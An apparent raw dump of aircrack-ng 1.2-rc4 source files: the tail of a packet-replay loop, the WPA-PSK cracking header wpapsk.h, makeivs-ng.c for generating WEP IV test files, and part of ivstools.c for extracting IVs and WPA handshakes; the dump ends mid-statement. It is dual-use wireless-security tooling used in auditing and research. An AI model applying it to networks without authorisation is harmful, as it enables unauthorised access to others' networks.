= sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( opt.repeat ) { if( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } if( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) continue; } else { if( memcmp(opt.f_bssid, bssid, 6) != 0 ) continue; } } send_packet(h80211, caplen); } packet_recv( h80211, caplen); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( &read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-rc4/src/wpapsk.h0000644000000000000000000000741412640722526015202 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is Copyright (c) 2012 Lukas Odzioba * and Copyright (c) 2012-2014 magnum * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without modification, are permitted. * * hccap format was introduced by oclHashcat-plus, and it is described here: http://hashcat.net/wiki/hccap * Code is based on Aircrack-ng source */ #ifndef _WPAPSK_H #define _WPAPSK_H #include #include #ifdef USE_GCRYPT #include "gcrypt-openssl-wrapper.h" #else #include #endif #include #include "arch.h" #include "jcommon.h" #include "johnswap.h" extern unsigned char *xpmk1[128]; extern unsigned char *xpmk2[128]; extern unsigned char *xpmk3[128]; extern unsigned char *xpmk4[128]; extern unsigned char *xpmk5[128]; extern unsigned char *xpmk6[128]; extern unsigned char *xpmk7[128]; extern unsigned char *xpmk8[128]; extern unsigned char *xsse_hash1[128]; extern unsigned char *xsse_crypt1[128]; extern unsigned char *xsse_crypt2[128]; #define PLAINTEXT_LENGTH 63 /* We can do 64 but spec. says 63 */ int threadxnt; void init_atoi(); void init_ssecore(int); void free_ssecore(int); int init_wpapsk(char (*key)[128], char *essid, int threadid); struct wpapsk_password { uint32_t length; uint8_t v[PLAINTEXT_LENGTH + 1]; }; typedef struct { uint32_t length; uint8_t v[PLAINTEXT_LENGTH + 1]; } wpapsk_password; extern wpapsk_password *wpapass[128]; int count; #if 0 static MAYBE_INLINE void prf_512(uint32_t * key, uint8_t * data, uint32_t * ret) { HMAC_CTX ctx; char *text = (char*)"Pairwise key expansion"; unsigned char buff[100]; memcpy(buff, text, 22); memcpy(buff + 23, data, 76); buff[22] = 0; buff[76 + 23] = 0; HMAC_Init(&ctx, key, 32, EVP_sha1()); HMAC_Update(&ctx, buff, 100); HMAC_Final(&ctx, (unsigned char *) ret, NULL); HMAC_CTX_cleanup(&ctx); } #endif #endif /* _WPAPSK_H */ aircrack-ng-1.2-rc4/src/makeivs-ng.c0000644000000000000000000003450712660207441015730 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "common.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); char usage[] = "\n" " %s - (C) 2006-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: makeivs-ng [options]\n" "\n" " Common options:\n" " -b : Set access point MAC address\n" " -f : Number of first IV\n" " -k : Target network WEP key in hex\n" " -s : Seed used to setup random generator\n" " -w : Filename to write IVs into\n" " -c : Number of IVs to generate\n" " -d : Percentage of dupe IVs\n" " -e : Percentage of erroneous keystreams\n" " -l : Length of keystreams\n" " -n : Ignores ignores weak IVs\n" " -p : Uses prng algorithm to generate IVs\n" "\n" " --help : Displays this usage screen\n" "\n"; int main( int argc, char *argv[] ) { int i, j, k, pre_n, n, count=100000, length=16; int paramUsed = 0, keylen=0, zero=0, startiv=0, iv=0; FILE *f_ivs_out; unsigned char K[32]; unsigned char S[256]; // unsigned char buffer[64]; char *s, *filename=NULL; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; unsigned long long size; int option_index, option, crypt=0; char buf[2048]; int weplen=0, nofms=0, prng=0; float errorrate=0, dupe=0; unsigned char bssid[6]; int seed=time(NULL), z; int maxivs=0x1000000; unsigned char byte; unsigned char **uiv_root; static struct option long_options[] = { {"key", 1, 0, 'k'}, {"write", 1, 0, 'w'}, {"count", 1, 0, 'c'}, {"seed", 1, 0, 's'}, {"length", 1, 0, 'l'}, {"first", 1, 0, 'f'}, {"bssid", 1, 0, 'b'}, {"dupe", 1, 0, 'd'}, {"error", 1, 0, 'e'}, {"nofms", 0, 0, 'n'}, {"prng", 0, 0, 'p'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; i = 0; memset(K, 0, 32); memset(bssid, 0, 6); uiv_root = uniqueiv_init(); /* check the arguments */ do { option_index = 0; option = getopt_long( argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': goto usage; break; case '?': goto usage; break; case 'n': paramUsed = 1; nofms = 1; break; case 'p': paramUsed = 1; prng = 1; break; case 'l': paramUsed = 1; if (atoi(optarg) < 2 || atoi(optarg) > 2300) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified keystream length is invalid. [2-2300]" ); return( 1 ); } length = atoi(optarg); break; case 'c': paramUsed = 1; if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified number of IVs is invalid. [1-16777216]" ); return( 1 ); } count = atoi(optarg); break; case 's': paramUsed = 1; if (atoi(optarg) < 1) { printf( "Specified seed is invalid. [>=1]" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } seed = atoi(optarg); break; case 'e': paramUsed = 1; sscanf(optarg, "%f", &errorrate); #if defined(__x86_64__) && defined(__CYGWIN__) if (errorrate < 0.0f || errorrate > (0.0f + 100)) { #else if (errorrate < 0.0f || errorrate > 100.0f) { #endif printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified errorrate is invalid. [0-100]" ); return( 1 ); } break; case 'd': paramUsed = 1; if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f || dupe > #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 100)) { #else 100.0f) { #endif printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified dupe is invalid. [0-100]" ); return( 1 ); } break; case 'f': paramUsed = 1; if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified start IV is invalid. [0-16777215]" ); return( 1 ); } paramUsed = 1; startiv = atoi(optarg); break; case 'w': paramUsed = 1; filename = optarg; break; case 'b': paramUsed = 1; if ( memcmp(bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, bssid) != 0) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("Notice: invalid bssid\n"); return( 1 ); } break; case 'k' : paramUsed = 1; if( crypt != 0 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Encryption key already specified.\n" ); return( 1 ); } crypt = 1; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key.\n" ); return( 1 ); } K[3+i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 29) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key length. [5,13,29]\n" ); return( 1 ); } weplen = i; keylen = i+3; break; case 'h' : case 'H' : goto usage; break; default : goto usage; } } while ( 1 ); if(nofms) maxivs -= 256*weplen; srand(seed); if (paramUsed == 0) { usage: printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 0 ); } if(count > maxivs) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified too many IVs (%d), but there are only %d possible.\n", count, maxivs); return( 1 ); } if(length == 0) length = 16; //default 16 keystreambytes if(crypt < 1) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the WEP key (-k).\n"); return( 1 ); } if(filename == NULL) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the output filename (-w).\n"); return( 1 ); } size = (long long)strlen(IVS2_MAGIC) + (long long)sizeof(struct ivs2_filehdr) + (long long)count * (long long)sizeof(struct ivs2_pkthdr) + (long long)count * (long long)(length+4); printf("Creating %d IVs with %d bytes of keystream each.\n", count, length); printf("Estimated filesize: "); if(size > 1024*1024*1024) //over 1 GB printf("%.2f GB\n", ((double)size/(1024.0*1024.0*1024.0))); else if (size > 1024*1024) //over 1 MB printf("%.2f MB\n", ((double)size/(1024.0*1024.0))); else if (size > 1024) //over 1 KB printf("%.2f KB\n", ((double)size/1024.0)); else //under 1 KB printf("%.2f Byte\n", (double)size); if( ( f_ivs_out = fopen( filename, "wb+" ) ) == NULL ) { perror( "fopen" ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs_out ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr)); fivs2.version = IVS2_VERSION; /* write file header */ if( fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV file header) failed" ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_BSSID; ivs2.len += 6; /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( memcmp(NULL_MAC, bssid, 6) == 0) { memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6); } /* write BSSID */ if( fwrite( bssid, 1, 6, f_ivs_out ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5] ); z=0; pre_n=0; for( n = 0; n < count; n++ ) { if( (dupe==0) || (pre_n == n) || ((float)rand()/(float)RAND_MAX > (float)((float)dupe/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 100))) ) #else 100.0f)) ) #endif { if(prng) { iv = rand() & 0xFFFFFF; } else { iv = (z + startiv) & 0xFFFFFF; z++; } if(nofms) { if ((iv & 0xff00) == 0xff00) { byte = (iv >> 16) & 0xff; if (byte >= 3 && byte < keylen) { if(!prng && (iv&0xFF)==0) z+=0xff; n--; continue; } } } if( uniqueiv_check( uiv_root, (unsigned char*)&iv ) != 0 ) { n--; continue; } uniqueiv_mark( uiv_root, (unsigned char*)&iv ); } pre_n=n; K[2] = ( iv >> 16 ) & 0xFF; K[1] = ( iv >> 8 ) & 0xFF; K[0] = ( iv ) & 0xFF; for( i = 0; i < 256; i++ ) S[i] = i; for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % keylen] ) & 0xFF; SWAP( S[i], S[j] ); } if(errorrate > 0 && ((float)((float)rand()/(float)RAND_MAX) <= (float)(errorrate/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 100))) ) #else 100.0f)) ) #endif { SWAP( S[1], S[11] ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.flags |= IVS2_XOR; ivs2.len += length+4; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( fwrite( K, 1, 3, f_ivs_out ) != (size_t) 3 ) { perror( "fwrite(IV iv) failed" ); return( 1 ); } if( fwrite( &zero, 1, 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV idx) failed" ); return( 1 ); } ivs2.len -= 4; i = j = 0; for( k=0; k < length; k++ ) { i = (i+1) & 0xFF; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); fprintf( f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF] ); } if((n%10000) == 0) printf("%2.1f%%\r", ((float)n/(float)count)* #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 100)); #else 100.0f); #endif fflush(stdout); } fclose( f_ivs_out ); printf( "Done.\n" ); return( 0 ); } aircrack-ng-1.2-rc4/src/ivstools.c0000644000000000000000000007173312660207441015553 0ustar rootroot /* * IVS Tools - Convert or merge IVs * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (pcap2ivs and mergeivs) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "osdep/byteorder.h" #include "common.h" #include "eapol.h" #define FAILURE -1 #define IVS 1 #define WPA 2 #define ESSID 3 /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ int ssid_length; /* length of ssid */ unsigned char bssid[6]; /* the access point's MAC */ unsigned char essid[256]; /* ascii network identifier */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int wpa_stored; /* wpa stored in ivs file? */ int essid_stored; /* essid stored in ivs file? */ }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ unsigned char stmac[6]; /* the client's MAC address */ struct WPA_hdsk wpa; /* WPA handshake data */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; unsigned char prev_bssid[6]; FILE *f_ivs; /* output ivs file */ } G; static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void usage(int what) { char *version_info = getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n %s - (C) 2006-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n usage: ", version_info); free(version_info); if (what == 0 || what == 1) printf( "ivstools --convert \n" " Extract ivs from a pcap file\n"); if (what == 0) printf(" "); if (what == 0 || what == 2) printf("ivstools --merge .. \n" " Merge ivs files\n"); } int merge( int argc, char *argv[] ) { int i, n, unused; unsigned long nbw; unsigned char buffer[1024]; FILE *f_in, *f_out; struct ivs2_filehdr fivs2; struct ivs2_pkthdr ivs2; if( argc < 5 ) { usage(2); return( 1 ); } printf( "Creating %s\n", argv[argc - 1] ); if( ( f_out = fopen( argv[argc - 1], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } nbw = 0; for( i = 2; i < argc - 1; ++i ) { printf( "Opening %s\n", argv[i] ); if( ( f_in = fopen( argv[i], "rb" ) ) == NULL ) { fclose(f_out); perror( "fopen failed" ); return( 1 ); } if( fread( buffer, 1, 4, f_in ) != 4 ) { fclose(f_out); fclose(f_in); perror( "fread file header failed" ); return( 1 ); } if( memcmp( buffer, IVSONLY_MAGIC, 4 ) == 0 ) { fclose(f_out); fclose(f_in); printf( "%s is an old .ivs file\n", argv[i] ); return( 1 ); } if( memcmp( buffer, IVS2_MAGIC, 4 ) != 0 ) { fclose(f_out); fclose(f_in); printf( "%s is not an .%s file\n", argv[i], IVS2_EXTENSION ); return( 1 ); } if( fread( &fivs2, 1, sizeof(struct ivs2_filehdr), f_in ) != (size_t) sizeof(struct ivs2_filehdr) ) { fclose(f_out); fclose(f_in); perror( "fread file header failed" ); return( 1 ); } if( fivs2.version > IVS2_VERSION ) { fclose(f_out); fclose(f_in); printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); return( 1 ); } if( i == 2 ) { unused = fwrite( buffer, 1, 4, f_out ); unused = fwrite( &ivs2, 1, sizeof(struct ivs2_filehdr), f_out ); } while( ( n = fread( buffer, 1, 1024, f_in ) ) > 0 ) { nbw += n; unused = fwrite( buffer, 1, n, f_out ); printf( "%ld bytes written\r", nbw ); } fclose( f_in ); printf( "\n" ); } fclose( f_out ); return( 0 ); } int dump_add_packet( unsigned char *h80211, unsigned caplen) { int i, n, seq, dlen, clen; unsigned z; struct ivs2_pkthdr ivs2; unsigned char *p; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char clear[2048]; int weight[16]; int num_xor, o; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) return FAILURE; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) return FAILURE; /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->prev = ap_prv; ap_cur->uiv_root = uniqueiv_init(); G.ap_end = ap_cur; ap_cur->ssid_length = 0; ap_cur->wpa_stored = 0; ap_cur->essid_stored = 0; } /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( h80211[4] != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); st_cur->prev = st_prv; G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; if( z + 10 > caplen ) return FAILURE; //check if WEP bit set and extended iv if( (h80211[1] & 0x40) != 0 && (h80211[z+3] & 0x20) == 0 ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; dlen = caplen -24 -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= 